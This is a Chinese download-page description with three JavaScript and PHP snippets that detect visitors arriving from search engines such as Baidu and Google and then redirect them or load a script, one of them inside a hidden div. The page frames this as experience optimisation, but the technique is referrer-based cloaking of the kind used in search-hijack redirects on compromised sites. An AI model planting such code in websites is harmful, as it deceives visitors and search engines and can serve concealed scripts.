利用JS代码根据搜索引擎自动跳转到特定页面
3星 · 超过75%的资源 92 浏览量
更新于2024-09-10
1
收藏 2KB TXT 举报
"根据搜索引擎来路判断跳转到指定页面的JS代码实现"
在网页开发中,有时我们可能需要根据用户是从哪个搜索引擎访问网站来决定他们应该被重定向到哪个特定页面。这可能是为了优化用户体验,或者针对不同搜索引擎的用户进行特定的推广活动。以下是一些使用JavaScript和PHP实现这个功能的示例代码。
1. JavaScript实现:
这段JS代码通过创建一个正则表达式来检查`document.referrer`(即上一页的URL),判断用户是否来自特定的搜索引擎。如果匹配成功,它会将用户重定向到`http://www.jz96.com/`。正则表达式`/\.(baidu|soso|sogou|google|youdao|yahoo)(\.[a-z0-9\-]+){1,2}\//ig`匹配常见的搜索引擎域名,如百度、搜狗、谷歌等。
```javascript
<script language="javascript">
var regexp = /\. (baidu|soso|sogou|google|youdao|yahoo) (\.[a-z0-9\-]+){1,2} \//ig;
var where = document.referrer;
if (regexp.test(where)) {
window.location.href = 'http://www.jz96.com/';
}
</script>
```
2. PHP实现:
这段PHP代码获取`$_SERVER['HTTP_REFERER']`变量,它包含了用户访问当前页面前的URL。然后,通过分析这个URL,判断是否来自指定的搜索引擎。如果匹配到,它会在页面中插入一个包含JavaScript代码的`<div>`元素,加载名为`a.js`的脚本。
```php
<?PHP
$referer = $_SERVER['HTTP_REFERER'];
if (!$referer == '') {
if (ereg('http', $referer)) {
$referer = @explode('.', $referer);
if (is_array($referer)) {
$referer = $referer[1];
if ($referer == 'google' || $referer == 'baidu' || $referer == 'soso' || $referer == 'sogou') {
?>
<div style="visibility:hidden;">
<script src="a.js" language="JavaScript"></script>
</div>
<?php
}
}
}
}
?>
```
3. 通用JavaScript实现:
这个JavaScript函数`refer()`首先获取`document.referrer`,然后检查其是否包含特定搜索引擎的字符串。如果找到,它将创建一个新的`<script>`元素并附加到页面的头部,加载`http://127.0.0.1/js.js`。
```javascript
<script type="text/javascript">
function elem(e, url) {
var h = document.createElement(e);
h.src = url;
document.getElementsByTagName('head')[0].appendChild(h);
}
function refer() {
var ref = document.referrer;
var baidu = ref.indexOf("baidu");
var soso = ref.indexOf("soso");
var google = ref.indexOf("google");
if (baidu != -1 || soso != -1 || google != -1) {
elem("script", "http://127.0.0.1/js.js");
}
}
refer();
</script>
```
这些代码示例展示了如何利用JavaScript和PHP检测搜索引擎来源,并根据来源执行相应的重定向操作。请注意,这种方法可能会受到浏览器隐私设置和安全策略的影响,因为某些浏览器可能不会提供`document.referrer`信息。此外,对于跨域安全问题,确保你的重定向和脚本加载遵循相关的网络规范。
2023-03-27 上传
2023-04-16 上传
2023-04-18 上传
2023-03-27 上传
2023-03-27 上传
2023-06-07 上传
ek2978265
- 粉丝: 0
- 资源: 2
最新资源
- 构建基于Django和Stripe的SaaS应用教程
- Symfony2框架打造的RESTful问答系统icare-server
- 蓝桥杯Python试题解析与答案题库
- Go语言实现NWA到WAV文件格式转换工具
- 基于Django的医患管理系统应用
- Jenkins工作流插件开发指南:支持Workflow Python模块
- Java红酒网站项目源码解析与系统开源介绍
- Underworld Exporter资产定义文件详解
- Java版Crash Bandicoot资源库:逆向工程与源码分享
- Spring Boot Starter 自动IP计数功能实现指南
- 我的世界牛顿物理学模组深入解析
- STM32单片机工程创建详解与模板应用
- GDG堪萨斯城代码实验室:离子与火力基地示例应用
- Android Capstone项目:实现Potlatch服务器与OAuth2.0认证
- Cbit类:简化计算封装与异步任务处理
- Java8兼容的FullContact API Java客户端库介绍